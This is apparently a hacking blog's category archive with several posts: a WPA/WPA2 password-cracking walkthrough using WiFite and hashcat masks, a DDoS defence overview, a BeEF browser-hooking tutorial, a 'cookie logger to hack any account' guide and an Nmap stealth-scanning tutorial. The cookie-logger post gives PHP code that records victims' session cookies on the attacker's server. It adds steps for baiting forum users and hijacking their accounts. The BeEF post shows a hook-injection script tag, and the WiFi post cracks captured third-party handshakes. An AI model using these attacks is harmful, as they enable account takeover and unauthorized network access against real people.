Category Archives: GENERAL HACKING

CRACKING WiFi WPA WPA2 WITH HASHCAT ON KALI LINUX (BRUTEFORCE MASK BASED ATTACK ON WIFI PASSWORDS)

Cracking WPA WPA2 with Hashcat oclHashcat or cudaHashcat on Kali Linux (BruteForce MASK based attack on Wifi passwords)

cudaHashcat or oclHashcat or Hashcat on Kali Linux got built-in capabilities to attack and decrypt or crack WPA WPA2 handshake.cap files. Only constraint is, you need to convert a .cap file to a.hccap file format. This is rather easy.

Important Note: Many users try to capture with network cards that are not supported. You should purchase a card that supports Kali Linux including injection and monitor mode etc. A list can be found in802.11 Recommended USB Wireless Cards for Kali Linux. It is very important that you have a supported card, otherwise you’ll be just wasting time and effort on something that just won’t do the job.
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My Setup

I have a NVIDIA GTX 210 Graphics card in my machine running Kali Linux 1.0.6 and will use rockyou dictionary for most of the exercise. In this post, I will show How to crack WPA/WPA2 handshake file (.cap files) with cudaHashcat or oclHashcat or Hashcat on Kali Linux.

I will use cudahashcat command because I am using a NVIDIA GPU. If you’re using AMD GPU, then I guess you’ll be using oclHashcat. Let me know if this assumptions is incorrect.

Why use Hashcat to crack WPA/WPA2 handshake file?

Pyrit is the fastest when it comes to cracking WPA/WPA2 handshake files. So why are we using Hashcat to crack WPA/WPA2 handshake files?

  1. Because we can?
  2. Because Hashcat allows us to use customized attacks with predefined rules and Masks.

Now this doesn’t explain much and reading HASHCAT Wiki will take forever to explain on how to do it. I’ll just give some examples to clear it up.

Hashcat allows you to use the following built-in charsets to attack a WPA/WPA2 handshake file.

Built-in charsets

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !”#$%&'()*+,-./:;⇔?@[]^_`{|}~

?a = ?l?u?d?s

Numbered passwords

So lets say you password is 12345678. You can use a custom MASK like ?d?d?d?d?d?d?d?d

What it means is that you’re trying to break a 8 digit number password like 12345678 or 23456789 or 01567891.. You get the idea.

Letter passwords – All uppercase

If your password is all letters in CAPS such as: ABCFEFGH orLKHJHIOP or ZBTGYHQS ..etc. then you can use the following MASK:

?u?u?u?u?u?u?u?u

It will crack all 8 Letter passwords in CAPS.

Letter passwords – All lowercase

If your password is all letters in lowercase such as: abcdefgh ordfghpoiu or bnmiopty..etc. then you can use the following MASK:

?l?l?l?l?l?l?l?l

It will crack all 8 Letter passwords in lowercase. I hope you now know where I am getting at.

Passwords – Lowercase letters and numbers

If you know your password is similar to this: a1b2c3d4 or p9o8i7u6or n4j2k5l6 …etc. then you can use the following MASK:

?l?d?l?d?l?d?l?d

Passwords – Uppercase letters and numbers

If you know your password is similar to this: A1B2C3D4 or P9O8I7U6or N4J2K5L6 …etc. then you can use the following MASK:

?u?d?u?d?u?d?u?d

Passwords – Mixed matched with uppercase, lowercase, number and special characters.

If you password is all random, then you can just use a MASK like the following:

?a?a?a?a?a?a?a?a

Note: ?a represents anything …. I hope you’re getting the idea.

If you are absolutely not sure, you can just use any of the predefined MASKs file and leave it running. But yeah, come back to check in a million years for a really long password …. Using a dictionary attack might have more success in that scenario.

Passwords – when you know a few characters

If you somehow know the few characters in the password, this will make things a lot faster. For every known letter, you save immense amount of computing time. MASK’s allows you to combine this. Let’s say your 8 character password starts with abc, doesn’t contain any special characters. Then you can create a MASK rule file to contain the following:

abc?l?l?l?l?l
abc?u?u?u?u?u
abc?d?d?d?d?d
abc?l?u??d??d?l
abc?d?d?l?u?l

There will be 125 combinations in this case. But it will surely break it in time. This is the true power of using cudaHashcat or oclHashcat or Hashcat on Kali Linux to break WPA/WPA2 passwords.

You can even up your system if you know how a person combines a password. Some people always uses UPPERCASE as the first character in their passwords, few lowercase letters and finishes with numbers.

ExampleAbcde123

Your mask will be:

?u?l?l?l?l?d?d?d

This will make cracking significantly faster. Social engineering is the key here.

That’s enough with MASK’s. Now let’s capture some WPA/WPA2 handshake files.

Capture handshake with WiFite

Why WiFite instead of other guides that uses Aircrack-ng? Because we don’t have to type in commands..

Type in the following command in your Kali Linux terminal:

wifite –wpa

You could also type in

wifite wpa2

If you want to see everything, (wepwpa or wpa2, just type the following command. It doesn’t make any differences except few more minutes

wifite

Once you type in following is what you’ll see.

1 - Wifite - Cracking Wifi WPAWPA2 passwords using pyrit and cowpatty - blackMORE Ops

So, we can see bunch of Access Points (AP in short). Always try to go for the ones with CLIENTS because it’s just much faster. You can choose all or pick by numbers. See screenshot below

2 - Wifite Screen - Cracking Wifi WPAWPA2 passwords using pyrit and cowpatty - blackMORE Ops

Awesome, we’ve got few with clients attached. I will pick 1 and 2 cause they have the best signal strength. Try picking the ones with good signal strength. If you pick one with poor signal, you might be waiting a LONG time before you capture anything .. if anything at all.

So I’ve picked 1 and 2. Press Enter to let WiFite do it’s magic.

3 - WiFite Choice - Cracking Wifi WPAWPA2 passwords using pyrit and cowpatty - blackMORE Ops

Once you press ENTER, following is what you will see. I got impatient as the number 1 choice wasn’t doing anything for a LONG time. So I pressed CTRL+C to quit out of it.

This is actually a great feature of WIfite. It now asks me,

What do you want to do?

  1. [c]ontinue attacking targets
  2. [e]xit completely.

I can type in c to continue or e to exit. This is the feature I was talking about. I typed c to continue. What it does, it skips choice 1 and starts attacking choice 2. This is a great feature cause not all routers or AP’s or targets will respond to an attack the similar way. You could of course wait and eventually get a respond, but if you’re just after ANY AP’s, it just saves time.

4 - WiFite continue - Cracking Wifi WPAWPA2 passwords using pyrit and cowpatty - blackMORE Ops

And voila, took it only few seconds to capture a handshake. This AP had lots of clients and I managed to capture a handshake.

This handshake was saved in /root/hs/BigPond_58-98-35-E9-2B-8D.cap file.

Once the capture is complete and there’s no more AP’s to attack, Wifite will just quit and you get your prompt back.

5 - WiFite captured handshake - Cracking Wifi WPAWPA2 passwords using pyrit and cowpatty - blackMORE Ops

Now that we have a capture file with handshake on it, we can do a few things.

Cleanup your cap file using wpaclean

Next step will be converting the .cap file to a format cudaHashcat or oclHashcat or Hashcat on Kali Linux will understand.

Here’s how to do it:

To convert your .cap files manually in Kali Linux, use the following command

wpaclean <out.cap> <in.cap>

Please note that the wpaclean options are the wrong way round. <out.cap> <in.cap> instead of <in.cap> <out.cap> which may cause some confusion.

In my case, the command is as follows:

wpaclean hs/out.cap hs/BigPond_58-98-35-E9-2B-8D.cap

Convert .cap file to .hccap format

We need to convert this file to a format cudaHashcat or oclHashcat or Hashcat on Kali Linux can understand.

To convert it to .hccap format with “aircrack-ng” we need to use the -J option

aircrack-ng <out.cap> -J <out.hccap>

Note the -J is a capitol J not lower case j.

In my case, the command is as follows:

aircrack-ng hs/out.cap -J hs/out

Cracking WPAWPA2 with oclHashcat, cudaHashcat or Hashcat on Kali Linux (BruteForce MASK based attack) - blackMORE Ops - 1

Cracking WPA/WPA2 handshake with Hashcat

cudaHashcat or oclHashcat or Hashcat on Kali Linux is very flexible, so I’ll cover two most common and basic scenarios:

  1. Dictionary attack
  2. Mask attack

Dictionary attack

Grab some Wordlists, like Rockyou.

Read this guide Cracking Wifi WPA/WPA2 passwords using pyrit cowpatty in Kali Linux for detailed instructions on how to get this dictionary file and sorting/cleaning etc.

First we need to find out which mode to use for WPA/WPA2 handshake file. I’ve covered this in great length in Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linuxguide. Here’s a short rundown:

cudahashcat --help | grep WPA

So it’s 2500.

Now use the following command to start the cracking process:

cudahashcat -m 2500 /root/hs/out.hccap /root/rockyou.txt

Cracking WPAWPA2 with oclHashcat, cudaHashcat or Hashcat on Kali Linux (BruteForce MASK based attack) - blackMORE Ops - 2

Bingo, I used a common password for this Wireless AP. Took me few seconds to crack it. Depending on your dictionary size, it might take a while.

You should remember, if you’re going to use Dictionary attack, Pyrit would be much much much faster than cudaHashcat or oclHashcat or Hashcat. Why we are showing this here? Cause we can. 🙂

Another guide explains how this whole Dictionary attack works. I am not going to explain the same thing twice here. Read Cracking MD5, phpBB, MySQL and SHA1 passwords with Hashcat on Kali Linux for dictionary related attacks in full length.

Brute-Force Attack

Now this is the main part of this guide. Using Brute Force MASK attack.

To crack WPA WPA2 handshake file using cudaHashcat or oclHashcat or Hashcat, use the following command:

Sample:

cudahashcat -m 2500 -a 3 capture.hccap ?d?d?d?d?d?d?d?d

Where -m = 2500 means we are attacking a WPA/WPA2 handshake file.

-a = 3 means we are using Brute Force Attack mode (this is compatible with MASK attack).

capture.hccap = This is your converted .cap file. We generated it using wpaclean and aircrack-ng.

?d?d?d?d?d?d?d?d = This is your MASK where d = digit. That means this password is all in numbers. i.e. 7896435 or 12345678etc.

I’ve created a special MASK file to make things faster. You should create your own MASK file in similar way I explained earlier. I’ve saved my file in the following directory as blackmoreops-1.hcmask.

/usr/share/oclhashcat/masks/blackmoreops-1.hcmask

Do the following to see all available default MASK files provided by cudaHashcat or oclHashcat or Hashcat:

ls /usr/share/oclhashcat/masks/

In my case, the command is as follows:

cudahashcat -m 2500 -a 3 /root/hs/out.hccap  /usr/share/oclhashcat/masks/blackmoreops-1.hcmask

Cracking WPA WPA2 with oclHashcat, cudaHashcat or Hashcat on Kali Linux (BruteForce MASK based attack) - blackMORE Ops - 3

Sample .hcmask file

You can check the content of a sample .hcmask file using the following command:

tail -10 /usr/share/oclhashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask

Cracking WPAWPA2 with oclHashcat, cudaHashcat or Hashcat on Kali Linux (BruteForce MASK based attack) - blackMORE Ops - 4

Edit this file to match your requirement, run Hashcat or cudaHashcat and let it rip.

Location of Cracked passwords

Hashcat or cudaHashcat saves all recovered passwords in a file. It will be in the same directory you’ve ran Hashcat or cudaHashcat or oclHashcat. In my case, I’ve ran all command from my home directory which is /root directory.

cat hashcat.pot

Cracking WPA WPA2 with oclHashcat, cudaHashcat or Hashcat on Kali Linux (BruteForce MASK based attack) - blackMORE Ops - 5

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AVOIDING A DOS ATTACK??

The last thing an administrator wants to deal with is a Distributed Denial of Service (DDoS) attack. Yet, together with the recent rise of hacktism,  DDoS attacks are increasingly becoming a threat that IT admins need to prepared for.

Just recently, the CIA’s main website was allegedly brought down by a DDoS attack launched by Anonymous. DDoS attacks work by essentially leveraging the power of hijacked computer systems (through the use of botnets, for example) to send a huge amount of traffic to a single designated target. This simple concept can be frighteningly effective in bringing down huge sites.

The worst thing about DDoS attacks is that they do not prey on the victim’s weaknesses; therefore being cautious and using the right tools and protection, as in the case of hacking attacks, is not enough.

Despite the threat, there’s still an effective way to protect your network against these attacks – network design decisions. A DDoS is nothing more than a never-ending stream of requests from a large number of sources. The only way to protect against this is by having a system to identify the DDoS source and block it.

This is easier said than done. Identifying the source of a DDoS attack can be tricky and, in most cases, involves tweaking an intrusion detection system (IDS) to differentiate between legitimate requests and attacks. Testing its effectiveness is not easy either. In any case, this will cause quite a few false positives.

Once an attack source is identified, all you need to do is configure the Firewall to block that source until the attack stops. Even so, if your Internet bandwidth is overwhelmed by requests, your site will still probably be inaccessible.

And it doesn’t end here; if you’re the target of a DDoS attack, the next problem to deal with is your Internet Service Provider (ISP). If the attack is large enough, the ISP may opt to cut your route out of the system to save bandwidth and avoid degrading performance for other customers. In this case, the consequences may be worse than the actual impact of the DDoS attack itself as your downtime is likely to be longer. For this reason, you may want to check what your ISP polices on DDoS attacks are before signing up for the service.

Ironically, the ISP also happens to be your best ally in the event of a DDoS attack since their infrastructure is most likely to have the capability to handle the huge amount of traffic if the Firewall is hosted on their systems rather than at your end. This is also something you might want to explore with the ISP.

Defending against a DDoS attack is possible mostly through design choices, and having an infrastructure in place that can help mitigate the damage should you be the target of a DDoS attack.

BEEF :- NEWEST WEAPON OF HACKERS

BeEF, the Browser Exploitation Framework, is a testing tool designed to enable penetration testers to launch client-side attacks against target browsers. By using techniques similar to common drive-by malware, testers can assess the security of a target’s internal environment, bypassing the hardened perimeter.

In this post, I’ll show you the quickest way to get up and running with BeEF using BackTrack or Kali Linux. Then we’ll explore the basic structure of the program. By the end of the post you should be able to begin using BeEF in your own testing.

In this guide I’ll be using Kali Linux, the penetration testing distribution created by the folks at Offensive Security. You can download an ISO or a VMWare image atwww.kali.org. The steps will also work for BackTrack, the previous incarnation of the distribution. For installation steps on other systems, check out the BeEF Wiki.

Installation on Kali is very simple. Since they’ve created a nice package we can simply use apt-get to install it. Just to make sure we’ve got the most recent version, we’ll update our package list first.

root@kali:/# apt-get update
root@kali:/# apt-get install beef-xss

(Be sure you get beef-xss and not beef. The latter is a programming language interpreter.)

Since we’re depending on a package from the Kali maintainers, this method may not always get the most up-to-date version of BeEF. At the time of this post the package provides version 0.4.4.5 which is the most recent release. If you need a feature that isn’t yet available in the Kali package then you’ll need to follow the directions on the BeEF website to download & install it manually.

Once the install is finished, we can change to its directory and launch BeEF:

root@kali:/# cd /usr/share/beef-xss
root@kali:/# ./beef

You should see the following:This screen tells us that BeEF is running on two different interfaces, locally and internally, both on port 3000. It also provides the link for the “hook” and the user interface control panel. All of these settings and more are customizable via the “config.yaml” file found in the program’s root directory.Now that BeEF is up and running, let’s check out the control panel.  Using a web browser we’ll browse to the link listed above. In my case it’s http://192.168.1.101:3000/ui/panel. You should be able to access this link from any machine on the same local network, but if you have a host-based firewall turned on you may need to open the appropriate ports to access it. The user name and password are beef:beef.

Once logged in we’re greeted with a helpful Getting Started page that explains some of the additional options. But the most important point is in the first paragraph. Here we learn how to “hook” a browser. BeEF provides two example pages in order to test with.

The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client browsers. When it does, it calls back to the BeEF server communicating a lot of information about the target. It also allows additional commands and modules to be ran against the target.  In this example, the location of my BeEF hook is at http://192.168.1.101:3000/hook.js.

In order to attack a browser, we need to include our JavaScript hook in a page that the client will view. There are a number of ways to do that, but the easiest is to insert the following into a page and somehow get the client to open it.

<script src=”http://192.168.1.101:3000/hook.js&#8221; type=”text/javascript”></script>

In a real-world test, you could insert this link in a page via a compromised web server, inject it into traffic after a successful man-in-the-middle attack, or use social engineering techniques such as phone calls, emails, or social network links to get the target to visit the page.

For this demonstration, click the link beside “basic demo page here.” Once that page loads, go back to the BeEF Control Panel and click on “Online Browsers” on the top left. After a few seconds you should see your IP address pop-up representing a hooked browser. Hovering over the IP will quickly provide information such as the browser version, operating system, and what plugins are installed.

When you click on any machine on the left, you’ll see a lot more details and functionality. The screenshot below shows the Logs tab on the right. We can see that I typed “secret password” into the text box on the demo page. Notice that I didn’t submit the page, I just typed it in.

As an experiment, try clicking anywhere else on the demo page except for in the text box. Now type something like “abcdef.” Now go back to the BeEF Control Panel and click the Refresh button at the bottom of the Logs tab. You should notice a new event similar to this:

Now click on the Commands tab. You’ll find a wide range of commands and exploits that can be launched against your target. Try them out, but be patient; sometimes it takes awhile for commands to finish and report their results. The more you experiment with each command, the more you’ll know how reliable it is and how best to use it. In addition to the exploits listed, BeEF can also be integrated with Metasploit in order to launch a wider range of exploits against the host system. That’ll be another blog post.

Notice that some of the commands have different colored icons. If you click back to the Getting Started tab, there’s an explanation of what each of the colors represent.

Now that you’re up and running there’s a lot more that you can do with BeEF. Experiment with the different options in your lab so that you’ll be ready to go when the opportunity presents itself during an engagement.

WE WILL SOON FOLLOW UP ON A SERIES OF POSTS ON BEEF.

CREATE A COOKIE LOGGER TO HACK ANY ACCOUNT

A Cookie Logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.
Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …
Step 1: Copy & Save the notepad file from below and Rename it as Fun.gif

<a href=”www.yoursite.com/fun.gif”><img src=”nesite.com/jpg” /></a>

Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = “logfile.txt”;
if (isset($_GET[“cookie”]))
{
if (!$handle = fopen($filename, ‘a’))
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
else
{
if (fwrite($handle, “rn” . $_GET[“cookie”]) === FALSE)
{
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
}
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
fclose($handle);
exit;
}
echo “Temporary Server Error,Sorry for the inconvenience.”;
exit;
?>

Step 3: Create a new Notepad File and Save it as logfile.txt
Step 4: Upload this file to your server
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)
fun.gif -> http://www.yoursite.com/fun.gif
If you don’t have any Website then you can use the following Website to get a Free Website which has php support :
Step 5: Go to the victim forum and insert this code in the signature or a post :

<a href=”www.yoursite.com/fun.gif”><img src=”nesite.com/jpg” /></a>

Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.
Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.
Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

NMAP – A Stealth Port Scanner

NMAP – A Stealth Port Scanner

ETHICAL HACKING

 

Contents

1  Introduction

Nmap is a free, open-source port scanner available for both UNIX and Windows. It has an optional graphical front-end, NmapFE, and supports a wide variety of scan types, each one with different benefits and drawbacks.
This article describes some of these scan types, explaining their relative benefits and just how they actually work. It also offers tips about which types of scan would be best against which types of host.
The article assumes you have Nmap installed (or that you know how to install it. Instructions are available on the Nmap website, http://www.insecure.org/nmap/install/inst-source.html ), and that you have the required privileges to run the scans detailed (many scans require root or Administrator privileges).
A frequently asked questions section has been added since the first version of this article, and this is included as the last section in this version. This is a fully revised and updated version of this tutorial, re-typed and converted to a TeX format, allowing more output formats to be utilised. At the time of writing, the latest Nmap version was 4.11.

2  Disclaimer

This information is provided to assist users of Nmap in scanning their own networks, or networks for which they have been given permission to scan, in order to determine the security of such networks. it is not intended to assist with scanning remote sites with the intention of breaking into or exploiting services on those sites, or for imformation gathering purposes beyond those allowed by law. I hereby disclaim any responsibility for actions taken based upon the information in this article, and urge all who seek information towards a destructive end to reconsider their life, and do something constructive instead.

3  Basic Scan Types [-sT, -sS]

The two basic scan types used most in Nmap are TCP connect() scanning [-sT] and SYN scanning (also known as half-open, or stealth scanning) [-sS].
These two types are explained in detail below.

3.1  TCP connect() Scan [-sT]

These scans are so called because UNIX sockets programming uses a system call named connect() to begin a TCP connection to a remote site. If connect() succeeds, a connection was made. If it fails, the connection could not be made (the remote system is offline, the port is closed, or some other error occurred along the way). This allows a basic type of port scan, which attempts to connect to every port in turn, and notes whether or not the connection succeeded. Once the scan is completed, ports to which a connection could be established are listed as open, the rest are said to be closed.
This method of scanning is very effective, and provides a clear picture of the ports you can and cannot access. If a connect() scan lists a port as open, you can definitely connect to it – that is what the scanning computer just did! There is, however, a major drawback to this kind of scan; it is very easy to detect on the system being scanned. If a firewall or intrusion detection system is running on the victim, attempts to connect() to every port on the system will almost always trigger a warning. Indeed, with modern firewalls, an attempt to connect to a single port which has been blocked or has not been specifically “opened” will usually result in the connection attempt being logged. Additionally, most servers will log connections and their source IP, so it would be easy to detect the source of a TCP connect() scan.
For this reason, the TCP Stealth Scan was developed.

3.2  SYN Stealth Scan [-sS]

I’ll begin this section with an overview of the TCP connection process. Those familiar with TCP/IP can skip the first few paragraphs.
When a TCP connection is made between two systems, a process known as a “three way handshake” occurs. This involves the exchange of three packets, and synchronises the systems with each other (necessary for the error correction built into TCP. Refer to a good TCP/IP book for more details.
The system initiating the connection sends a packet to the system it wants to connect to. TCP packets have a header section with a flags field. Flags tell the receiving end something about the type of packet, and thus what the correct response is.
Here, I will talk about only four of the possible flags. These are SYN (Synchronise), ACK (Acknowledge), FIN (Finished) and RST (Reset). SYN packets include a TCP sequence number, which lets the remote system know what sequence numbers to expect in subsequent communication. ACK acknowledges receipt of a packet or set of packets, FIN is sent when a communication is finished, requesting that the connection be closed, and RST is sent when the connection is to be reset (closed immediately).
To initiate a TCP connection, the initiating system sends a SYN packet to the destination, which will respond with a SYN of its own, and an ACK, acknowledging the receipt of the first packet (these are combined into a single SYN/ACK packet). The first system then sends an ACK packet to acknowledge receipt of the SYN/ACK, and data transfer can then begin.
SYN or Stealth scanning makes use of this procedure by sending a SYN packet and looking at the response. If SYN/ACK is sent back, the port is open and the remote end is trying to open a TCP connection. The scanner then sends an RST to tear down the connection before it can be established fully; often preventing the connection attempt appearing in application logs. If the port is closed, an RST will be sent. If it is filtered, the SYN packet will have been dropped and no response will be sent. In this way, Nmap can detect three port states – open, closed and filtered. Filtered ports may require further probing since they could be subject to firewall rules which render them open to some IPs or conditions, and closed to others.
Modern firewalls and Intrusion Detection Systems can detect SYN scans, but in combination with other features of Nmap, it is possible to create a virtually undetectable SYN scan by altering timing and other options (explained later).

4  FIN, Null and Xmas Tree Scans [-sF, -sN, -sX]

With the multitude of modern firewalls and IDS’ now looking out for SYN scans, these three scan types may be useful to varying degrees. Each scan type refers to the flags set in the TCP header. The idea behind these type of scans is that a closed port should respond with an RST upon receiving packets, whereas an open port should just drop them (it’s listening for packets with SYN set). This way, you never make even part of a connection, and never send a SYN packet; which is what most IDS’ look out for.
The FIN scan sends a packet with only the FIN flag set, the Xmas Tree scan sets the FIN, URG and PUSH flags (see a good TCP/IP book for more details) and the Null scan sends a packet with no flags switched on.
These scan types will work against any system where the TCP/IP implementation follows RFC 793. Microsoft Windows does not follow the RFC, and will ignore these packets even on closed ports. This technicality allows you to detect an MS Windows system by running SYN along with one of these scans. If the SYN scan shows open ports, and the FIN/NUL/XMAS does not, chances are you’re looking at a Windows box (though OS Fingerprinting is a much more reliable way of determining the OS running on a target!)
The sample below shows a SYN scan and a FIN scan, performed against a Linux system. The results are, predictably, the same, but the FIN scan is less likely to show up in a logging system.

 1 [chaos]# nmap -sS 127.0.0.1
   2
   3 Starting Nmap 4.01 at 2006-07-06 17:23 BST
   4 Interesting ports on chaos (127.0.0.1):
   5 (The 1668 ports scanned but not shown below are in state:
   6         closed)
   7 PORT     STATE SERVICE
   8 21/tcp   open  ftp
   9 22/tcp   open  ssh
  10 631/tcp  open  ipp
  11 6000/tcp open  X11
  12
  13 Nmap finished: 1 IP address (1 host up) scanned in 0.207
  14         seconds
  15 [chaos]# nmap -sF 127.0.0.1
  16
  17 Starting Nmap 4.01 at 2006-07-06 17:23 BST
  18 Interesting ports on chaos (127.0.0.1):
  19 (The 1668 ports scanned but not shown below are in state:
  20         closed)
  21 PORT     STATE         SERVICE
  22 21/tcp   open|filtered ftp
  23 22/tcp   open|filtered ssh
  24 631/tcp  open|filtered ipp
  25 6000/tcp open|filtered X11
  26
  27 Nmap finished: 1 IP address (1 host up) scanned in 1.284
  28         seconds

5  Ping Scan [-sP]

This scan type lists the hosts within the specified range that responded to a ping. It allows you to detect which computers are online, rather than which ports are open. Four methods exist within Nmap for ping sweeping.
The first method sends an ICMP ECHO REQUEST (ping request) packet to the destination system. If an ICMP ECHO REPLY is received, the system is up, and ICMP packets are not blocked. If there is no response to the ICMP ping, Nmap will try a “TCP Ping”, to determine whether ICMP is blocked, or if the host is really not online.
A TCP Ping sends either a SYN or an ACK packet to any port (80 is the default) on the remote system. If RST, or a SYN/ACK, is returned, then the remote system is online. If the remote system does not respond, either it is offline, or the chosen port is filtered, and thus not responding to anything.
When you run an Nmap ping scan as root, the default is to use the ICMP and ACK methods. Non-root users will use the connect() method, which attempts to connect to a machine, waiting for a response, and tearing down the connection as soon as it has been established (similar to the SYN/ACK method for root users, but this one establishes a full TCP connection!)
The ICMP scan type can be disabled by setting -P0 (that is, zero, not uppercase o).

6  UDP Scan [-sU]

Scanning for open UDP ports is done with the -sU option. With this scan type, Nmap sends 0-byte UDP packets to each target port on the victim. Receipt of an ICMP Port Unreachable message signifies the port is closed, otherwise it is assumed open.
One major problem with this technique is that, when a firewall blocks outgoing ICMP Port Unreachable messages, the port will appear open. These false-positives are hard to distinguish from real open ports.
Another disadvantage with UDP scanning is the speed at which it can be performed. Most operating systems limit the number of ICMP Port Unreachable messages which can be generated in a certain time period, thus slowing the speed of a UDP scan. Nmap adjusts its scan speed accordingly to avoid flooding a network with useless packets. An interesting point to note here is that Microsoft do not limit the Port Unreachable error generation frequency, and thus it is easy to scan a Windows machine’s 65,535 UDP Ports in very little time!!
UDP Scanning is not usually useful for most types of attack, but it can reveal information about services or trojans which rely on UDP, for example SNMP, NFS, the Back Orifice trojan backdoor and many other exploitable services.
Most modern services utilise TCP, and thus UDP scanning is not usually included in a pre-attack information gathering exercise unless a TCP scan or other sources indicate that it would be worth the time taken to perform a UDP scan.

7  IP Protocol Scans [-sO]

The IP Protocol Scans attempt to determine the IP protocols supported on a target. Nmap sends a raw IP packet without any additional protocol header (see a good TCP/IP book for information about IP packets), to each protocol on the target machine. Receipt of an ICMP Protocol Unreachable message tells us the protocol is not in use, otherwise it is assumed open. Not all hosts send ICMP Protocol Unreachable messages. These may include firewalls, AIX, HP-UX and Digital UNIX). These machines will report all protocols open.
This scan type also falls victim to the ICMP limiting rate described in the UDP scans section, however since only 256 protocols are possible (8-bit field for IP protocol in the IP header) it should not take too long.
Results of an -sO on my Linux workstation are included below.

 1 [chaos]# nmap -sO 127.0.0.1
   2
   3 Starting Nmap 4.01 at 2006-07-14 12:56 BST
   4 Interesting protocols on chaos(127.0.0.1):
   5 (The 251 protocols scanned but not shown below are
   6         in state: closed)
   7 PROTOCOL STATE         SERVICE
   8 1        open          icmp
   9 2        open|filtered igmp
  10 6        open          tcp
  11 17       open          udp
  12 255      open|filtered unknown
  13
  14 Nmap finished: 1 IP address (1 host up) scanned in
  15         1.259 seconds

8  Idle Scanning [-sI]

Idle scanning is an advanced, highly stealthed technique, where no packets are sent to the target which can be identified to originate from the scanning machine. A zombie host (and optionally port) must be specified for this scan type. The zombie host must satisfy certain criteria essential to the workings of this scan.
This scan type works by exploiting “predictable IP fragmentation ID” sequence generation on the zombie host, to determine open ports on the target. The scan checks the IPID on the zombie, then spoofs a connection request to the target machine, making it appear to come from the zombie. If the target port is open, a SYN/ACK session acknowledgement will be sent from the target machine back to the zombie, which will RST the connection since it has no record of having opened such a connection. If the port on the target is closed, an RST will be sent to the zombie, and no further packets will be sent. The attacker then checks the IPID on the zombie again. If it has incremented by 2 (or changed by two steps in its sequence), this corresponds to the packet received from the target, plus the RST from the zombie, which equates to an open port on the target. If the IPID has changed by one step, an RST was received from the target and no further packets were sent.
Using this mechanism, it is possible to scan every port on a target, whilst making it appear that the zombie was the one doing the scanning. Of course, the spoofed connection attempts will likely be logged, so the target system will have the zombie IP address, and the zombie system’s logs are likely to contain the attacker’s IP address, so it is still possible, after acquiring logs through legal channels, to determine the attacker, but this method makes it much more difficult to do so than if the packets were sent directly from the attacker. In addition, some IDS and firewall software makes attempts to detect spoofed packets based on the network they arrive from. As long as the zombie host and the attacker are both “out on the Internet”, or on the same network as each other, relative to the target, techniques to identify spoofed packets are not likely to succeed.
This scan type requires certain things of the zombie. The IPID sequence generation must be predictable (single-step increments, for example). The host must also have low traffic so that it is unlikely for other packets to hit the zombie whilst Nmap is carrying out its scan (as these will artificially inflate the IPID number!). Cheap routers or MS Windows boxes make good zombie hosts. Most operating systems use randomised sequence numbers (see the OS Fingerprinting section for details on how to check a target’s sequence generation type).
The idle scan can also be used to determine IP trust based relationships between hosts (e.g. a firewall may allow a certain host to connect to port x, but not other hosts). This scan type can help to determine which hosts have access to such a system.
For more information about this scan type, read http://www.insecure.org/nmap/idlescan.html

9  Version Detection [-sV]

Version Detection collects information about the specific service running on an open port, including the product name and version number. This information can be critical in determining an entry point for an attack. The -sV option enables version detection, and the -A option enables both OS fingerprinting and version detection, as well as any other advanced features which may be added in future releases.
Version detection is based on a complex series of probes, detailed in the Version Detection paper at http://www.insecure.org/nmap/vscan/

10  ACK Scan [-sA]

Usually used to map firewall rulesets and distinguish between stateful and stateless firewalls, this scan type sends ACK packets to a host. If an RST comes back, the port is classified “unfiltered” (that is, it was allowed to send its RST through whatever firewall was in place). If nothing comes back, the port is said to be “filtered”. That is, the firewall prevented the RST coming back from the port. This scan type can help determine if a firewall is stateless (just blocks incoming SYN packets) or stateful (tracks connections and also blocks unsolicited ACK packets).
Note that an ACK scan will never show ports in the “open” state, and so it should be used in conjunction with another scan type to gain more information about firewalls or packet filters between yourself and the victim.

11  Window Scan, RPC Scan, List Scan [-sW, -sR, -sL]

The TCP Window scan is similar to the ACK scan but can sometimes detect open ports as well as filtered/unfiltered ports. This is due to anomalies in TCP Window size reporting by some operating systems (see the Nmap manual for a list, or the nmap-hackers mailing list for the full list of susceptible OS’).
RPC Scans can be used in conjunction with other scan types to try to determine if an open TCP or UDP port is an RPC service, and if so, which program, and version numbers are running on it. Decoys are not supported with RPC scans (see section on Timing and Hiding Scans, below).
List scanning simply prints a list of IPs and names (DNS resolution will be used unless the -n option is passed to Nmap) without actually pinging or scanning the hosts.

12  Timing and Hiding Scans

12.1  Timing

Nmap adjusts its timings automatically depending on network speed and response times of the victim. However, you may want more control over the timing in order to create a more stealthy scan, or to get the scan over and done with quicker.
The main timing option is set through the -T parameter. There are six predefined timing policies which can be specified by name or number (starting with 0, corresponding to Paranoid timing). The timings are Paranoid, Sneaky, Polite, Normal, Aggressive and Insane.
